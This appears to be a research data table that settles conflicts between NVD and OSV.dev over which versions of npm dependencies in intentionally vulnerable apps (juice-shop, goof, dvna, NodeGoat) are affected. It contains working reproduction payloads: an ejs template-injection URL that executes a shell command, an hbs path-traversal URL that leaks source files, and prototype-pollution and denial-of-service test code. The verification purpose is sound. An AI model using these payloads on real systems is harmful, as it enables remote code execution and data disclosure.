Project	Conflict	Dependency	Winner	Result	Reason
NodeGoat	CVE-2021-43138	Async:0.2.9	OSV.dev	not affected	vulnerable function mapValues/createObjectIterator did not exist in installed version of async
NodeGoat	CVE-2021-43138	Async:1.5.2	OSV.dev	not affected	vulnerable function mapValues/createObjectIterator did not exist in installed version of async
NodeGoat	CVE-2021-43138	Async:0.9.2	OSV.dev	not affected	vulnerable function mapValues/createObjectIterator did not exist in installed version of async
NodeGoat	CVE-2021-43138	Async:0.2.10	OSV.dev	not affected	vulnerable function mapValues/createObjectIterator did not exist in installed version of async

vulnerable-node	CVE-2022-29078	ejs:2.7.4	OSV.dev	affected	The NVD claims that only version 3.1.6 of ejs is vulnerable whereas the OSV.dev claims versions 0 up to 3.1.7 (excluding) are vulnerable.
					
					PoC: https://eslam.io/posts/ejs-server-side-template-injection-rce/.
					
					Install express@3.0.0 and ejs@2.7.4 via npm.
					
					Create index.js and copy the PoC code into it.
					
					const express = require('express')
					const app = express()
					const port = 4000
					
					app.set('view engine', 'ejs');
					
					app.get('/page', (req,res) => {
					  res.render('page', req.query);
					})
					
					app.listen(port, () => {
					  console.log(`Example app listening on port ${port}`)
					})
					
					Create a views folder and put the ejs template inside a file page.ejs inside the views folder.
					
					  You are viewing page number <%= id %>
					
					Start the server, visit this link: http://localhost:4000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s
					
					Then in your /tmp folder a file pwned will appear.

vulnerable-node	CVE-2022-29078	ejs:0.8.8	OSV.dev	affected	The NVD claims that only version 3.1.6 of ejs is vulnerable whereas the OSV.dev claims versions 0 up to 3.1.7 (excluding) are vulnerable. The vulnerable function still exists and therefore this version is still affected. https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf#diff-18aff90313b014fc8148e052d4a3602eae9b81ae10c49d6f301fa61b14bffdbd

juice-shop	CVE-2022-36313	file-type:5.2.0	OSV.dev	not affected	The API was completely re-written in version 13.0.0 and this introduced the vulnerability. Version 5.2.0, which is installed is not vulnerable as NVD claims.
					
					Download the following file: https://github.com/sindresorhus/file-type/blob/main/fixture/fixture-corrupt.mkv
					
					Install version 5.2.0 of file-type via npm.
					Then create a file called test.js.
					Put the following contents within it:
					
					const fileType = require('file-type');
					const path = require("path");
					const fs = require('fs');
					
					const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
					const buffer = fs.readFileSync(filePath);
					fileType(buffer);
					
					console.log("will finish")
					
					Run the file using “node test.js” and the program will execute and terminate.
					
					Next install 13.0.0 of file-type via npm.
					
					Remove the file test.js and create a new one with the following contents:
					
					const fileType = require('file-type');
					const path = require("path");
					const fs = require('fs');
					
					const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
					
					fileType.fromFile(filePath);
					console.log("will never finish");
					
					Run the file using “node test.js” and the program will never finish.

	juice-shop	CVE-2022-36313	file-type:11.1.0	OSV.dev	not affected	The API was completely re-written in version 13.0.0 and this introduced the vulnerability. Version 11.1.0, which is installed is not vulnerable as NVD claims.
						
						Download the following file: https://github.com/sindresorhus/file-type/blob/main/fixture/fixture-corrupt.mkv
						
						Install version 11.1.0 of file-type via npm.
						Then create a file called test.js.
						Put the following contents within it:
						
						const fileType = require('file-type');
						const path = require("path");
						const fs = require('fs');
						
						const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
						const buffer = fs.readFileSync(filePath);
						fileType(buffer);
						
						console.log("will finish")
						
						Run the file using “node test.js” and the program will execute and terminate.
						
						Next install 13.0.0 of file-type via npm.
						
						Remove the file test.js and create a new one with the following contents:
						
						const fileType = require('file-type');
						const path = require("path");
						const fs = require('fs');
						
						const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
						
						fileType.fromFile(filePath);
						console.log("will never finish");
						
						Run the file using “node test.js” and the program will never finish.	

	juice-shop	CVE-2020-7598	minimist:0.2.1	OSV.dev	not affected	The NVD claims all versions below 1.2.2 are vulnerable. The installed version of minimist is however not vulnerable. (0.2.1) Install version 0.2.1 of minimist using npm and run the following line: require('minimist')('--__proto__.injected0 value0'.split(' ')); console.log(({}).injected0 === 'value0'); // true This will print false to the console because the prototype pollution did not work. Install version 0.2.0 of minimist using npm and run the line again, now it will say true, because versions 0.0.0 - 0.2.0 (including) are vulnerable and 1.0.0 up to 1.2.2 (including)	

	juice-shop	CVE-2021-32822	hbs:4.2.0	NVD	affected	NVD claims that all versions of the package are vulnerable and OSV.dev claims the installed version is not vulnerable 0.0.0 - 4.1.2 (including) is vulnerable according to the OSV.dev.
						
						Install express 3.21.2 and hbs 4.1.2 via npm
						
						Create a file test.js and put the following contents inside
						
						const express = require('express')
						const app = express()
						const port = 4000
						app.set('views', __dirname);
						app.set('view engine', 'hbs');
						app.use(express.urlencoded({ extended: false }));
						app.get('/', (req, res) => {
						  res.render('index', req.query)
						})
						
						app.listen(port, () => { })
						module.exports = app;
						
						Create a file called index.hbs in the folder and put the word hi or anything else inside.
						
						Start the server: node test.js
						
						Open a browser and visit: http://localhost:4000/?settings[views]=.&settings[view%20options][layout]=test.js
						
						And you will recieve the source code of the test.js file
						
						Install hbs 4.2.0 (i.e. the installed version of hbs)
						
						Restart the server and open a browser and visit: http://localhost:4000/?settings[views]=.&settings[view%20options][layout]=test.js
						
						You again receive the source code of the test.js file. Thus NVD is correct.	

	juice-shop	CVE-2022-36313	file-type:6.2.0	OSV.dev	not affected	The API was completely re-written in version 13.0.0 and this introduced the vulnerability. Version 6.2.0, which is installed is not vulnerable as NVD claims.
						
						Download the following file: https://github.com/sindresorhus/file-type/blob/main/fixture/fixture-corrupt.mkv
						
						Install version 6.2.0 of file-type via npm.
						Then create a file called test.js.
						Put the following contents within it:
						
						const fileType = require('file-type');
						const path = require("path");
						const fs = require('fs');
						
						const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
						const buffer = fs.readFileSync(filePath);
						fileType(buffer);
						
						console.log("will finish")
						
						Run the file using “node test.js” and the program will execute and terminate.
						
						Next install 13.0.0 of file-type via npm.
						
						Remove the file test.js and create a new one with the following contents:
						
						const fileType = require('file-type');
						const path = require("path");
						const fs = require('fs');
						
						const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
						
						fileType.fromFile(filePath);
						console.log("will never finish");
						
						Run the file using “node test.js” and the program will never finish.	

	juice-shop	CVE-2020-7792	mout:1.2.3	OSV.dev	not affected	NVD claims that all versions of mout are affected, while the OSV.dev defines that versions equal or above to 1.2.3 are patched. Commit: https://github.com/mout/mout/commit/3fecf1333e6d71ae72edf48c71dc665e40df7605 fixes the vulnerability at version 1.2.3, thus the OSV.dev is correct.	

	juice-shop	CVE-2022-36313	file-type:4.4.0	OSV.dev	not affected	The API was completely re-written in version 13.0.0 and this introduced the vulnerability. Version 4.4.0, which is installed is not vulnerable as NVD claims.
						
						Download the following file: https://github.com/sindresorhus/file-type/blob/main/fixture/fixture-corrupt.mkv
						
						Install version 4.4.0 of file-type via npm.
						Then create a file called test.js.
						Put the following contents within it:
						
						const fileType = require('file-type');
						const path = require("path");
						const fs = require('fs');
						
						const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
						const buffer = fs.readFileSync(filePath);
						fileType(buffer);
						
						console.log("will finish")
						
						Run the file using “node test.js” and the program will execute and terminate.
						
						Next install 13.0.0 of file-type via npm.
						
						Remove the file test.js and create a new one with the following contents:
						
						const fileType = require('file-type');
						const path = require("path");
						const fs = require('fs');
						
						const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
						
						fileType.fromFile(filePath);
						console.log("will never finish");
						
						Run the file using “node test.js” and the program will never finish.	

	juice-shop	CVE-2022-36313	file-type:3.9.0	OSV.dev	not affected	The API was completely re-written in version 13.0.0 and this introduced the vulnerability. Version 3.9.0, which is installed is not vulnerable as NVD claims.
						
						Download the following file: https://github.com/sindresorhus/file-type/blob/main/fixture/fixture-corrupt.mkv
						
						Install version 3.9.0 of file-type via npm.
						Then create a file called test.js.
						Put the following contents within it:
						
						const fileType = require('file-type');
						const path = require("path");
						const fs = require('fs');
						
						const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
						const buffer = fs.readFileSync(filePath);
						fileType(buffer);
						
						console.log("will finish")
						
						Run the file using “node test.js” and the program will execute and terminate.
						
						Next install 13.0.0 of file-type via npm.
						
						Remove the file test.js and create a new one with the following contents:
						
						const fileType = require('file-type');
						const path = require("path");
						const fs = require('fs');
						
						const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
						
						fileType.fromFile(filePath);
						console.log("will never finish");
						
						Run the file using “node test.js” and the program will never finish.	

	juice-shop	CVE-2022-0355	simple-get:3.1.1	OSV.dev	not affected	The NVD claims that all versions below 4.0.1 (excluding) are vulnerable, however OSV.dev claims that the installed version 3.1.1 is not vulnerable. The patch: https://github.com/feross/simple-get/commit/e4af095e06cd69a9235013e8507e220a79b9684f Exists within version 3.1.1, therefore it is not vulnerable: https://github.com/feross/simple-get/blob/496166d2fff21b4ec1d4ab9e7c8d4b2ab11ebf18/index.js	

	dvna	CVE-2022-29078	ejs:2.7.4	OSV.dev	affected	The NVD claims that only version 3.1.6 of ejs is vulnerable whereas the OSV.dev claims versions 0 up to 3.1.7 (excluding) are vulnerable.
						
						PoC: https://eslam.io/posts/ejs-server-side-template-injection-rce/.
						
						Install express@3.0.0 and ejs@2.7.4 via npm.
						
						Create index.js and copy the PoC code into it.
						
						const express = require('express')
						const app = express()
						const port = 4000
						
						app.set('view engine', 'ejs');
						
						app.get('/page', (req,res) => {
						  res.render('page', req.query);
						})
						
						app.listen(port, () => {
						  console.log(`Example app listening on port ${port}`)
						})
						
						Create a views folder and put the ejs template inside a file page.ejs inside the views folder.
						
						  You are viewing page number <%= id %>
						
						Start the server, visit this link: http://localhost:4000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('touch /tmp/pwned');s
						
						Then in your /tmp folder a file pwned will appear.	

	goof	CVE-2017-1000048	qs:2.2.4	OSV.dev	affected	NVD claims that the installed version 2.2.4 is not vulnerable while the OSV.dev claims, amongst other, that 0.0.0 - 6.0.4 is vulnerable.
						
						Install qs@6.0.4 and tape@latest via npm
						
						Create a file called test.js and put the content below inside
						
						const qs = require("qs");
						const test = require("tape");
						test('parse()', function (t) {
						t.test('does not allow overwriting prototype properties', function (st) {
						st.deepEqual(qs.parse('a[hasOwnProperty]=b', { allowPrototypes: false }), {});
						st.deepEqual(qs.parse('hasOwnProperty=b', { allowPrototypes: false }), {});
						
						st.deepEqual(
						qs.parse('toString', { allowPrototypes: false }),
						{},
						'bare "toString" results in {}'
						);
						
						st.end();
						});
						});
						
						Run the file, all test will pass as 6.0.4 is fixed
						
						Now install qs@2.2.4 and re-run the file.
						
						Now a test will fail, indicating that the flaw still exists.	

	goof	CVE-2021-43138	Async:0.9.0	OSV.dev	not affected	vulnerable function mapValues/createObjectIterator did not exist in installed version of async	

	goof	CVE-2022-36313	file-type:8.1.0	OSV.dev	not affected	The API was completely re-written in version 13.0.0 and this introduced the vulnerability. Version 8.1.0, which is installed is not vulnerable as NVD claims.
						
						Download the following file: https://github.com/sindresorhus/file-type/blob/main/fixture/fixture-corrupt.mkv
						
						Install version 8.1.0 of file-type via npm.
						Then create a file called test.js.
						Put the following contents within it:
						
						const fileType = require('file-type');
						const path = require("path");
						const fs = require('fs');
						
						const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
						const buffer = fs.readFileSync(filePath);
						fileType(buffer);
						
						console.log("will finish")
						
						Run the file using “node test.js” and the program will execute and terminate.
						
						Next install 13.0.0 of file-type via npm.
						
						Remove the file test.js and create a new one with the following contents:
						
						const fileType = require('file-type');
						const path = require("path");
						const fs = require('fs');
						
						const filePath = path.join(__dirname, 'fixture_fixture-corrupt.mkv');
						
						fileType.fromFile(filePath);
						console.log("will never finish");
						
						Run the file using “node test.js” and the program will never finish.	

	goof	CVE-2020-7610	js-bson:0.4.23	OSV.dev	affected	NVD claims that only versions >= 1.0.0 <1.1.4 are vulnerable while the OSV.dev claims that all versions < 1.1.4 are vulnerable and thus also the installed version 0.4.23. The fix introduced in https://github.com/mongodb/js-bson/commit/6e782dac6a110509097077ee5edd311977f32522 in version 1.1.4 does not exist in version 0.4.23. Version 0.4.23 still misses the cruicial check for the _bsontype and therefore is also vulnerable: https://github.com/mongodb/js-bson/blob/528680fa751300364f7a939258b621740613f8ae/lib/bson/parser/serializer.js Therefore OSV.dev is correct and version 0.4.23 is also vulnerable.	
	goof	CVE-2021-43138	Async:1.5.2	OSV.dev	not affected	vulnerable function mapValues/createObjectIterator did not exist in installed version of async https://github.com/caolan/async/blob/9ab5c67b7cb3a4c3dad4a2d4552a2f6775545d6c/lib/async.js	

	goof	CVE-2022-29078	ejs:1.0.0	OSV.dev	affected	The NVD claims that only version 3.1.6 of ejs is vulnerable whereas the OSV.dev claims versions 0 up to 3.1.7 (excluding) are vulnerable. The vulnerable function still exists and therefore this version (1.0.0) is still affected. https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf#diff-18aff90313b014fc8148e052d4a3602eae9b81ae10c49d6f301fa61b14bffdbd	
	goof	CVE-2022-29078	ejs:0.8.8	OSV.dev	affected	The NVD claims that only version 3.1.6 of ejs is vulnerable whereas the OSV.dev claims versions 0 up to 3.1.7 (excluding) are vulnerable. The vulnerable function still exists and therefore this version (0.8.8) is still affected. https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf#diff-18aff90313b014fc8148e052d4a3602eae9b81ae10c49d6f301fa61b14bffdbd	
	goof	CVE-2020-15366	ajv:6.10.2	OSV.dev	affected	https://github.com/ajv-validator/ajv/commit/988982d3fde08e3ea074e8942442834e78c45587 The fix introduced in the commit above, changes code that existed like that since version 0.0.0 of ajv. NVD claims that only version 6.12.2 is vulnerable, which is wrong. See here version 0.5.0, which contains the flaw: https://github.com/ajv-validator/ajv/blob/5f36f17f63219bcceed2f2f1bf3e758eebe23444/lib/dot/dependencies.jst	
	durian	CVE-2020-15366	ajv:6.12.0	OSV.dev	affected	https://github.com/ajv-validator/ajv/commit/988982d3fde08e3ea074e8942442834e78c45587 The fix introduced in the commit above, changes code that existed like that since version 0.0.0 of ajv. NVD claims that only version 6.12.2 is vulnerable, which is wrong. See here version 0.5.0, which contains the flaw: https://github.com/ajv-validator/ajv/blob/5f36f17f63219bcceed2f2f1bf3e758eebe23444/lib/dot/dependencies.jst	
	dvws	CVE-2021-43138	async:1.5.2	OSV.dev	not affected	vulnerable function mapValues/createObjectIterator did not exist in installed version of async	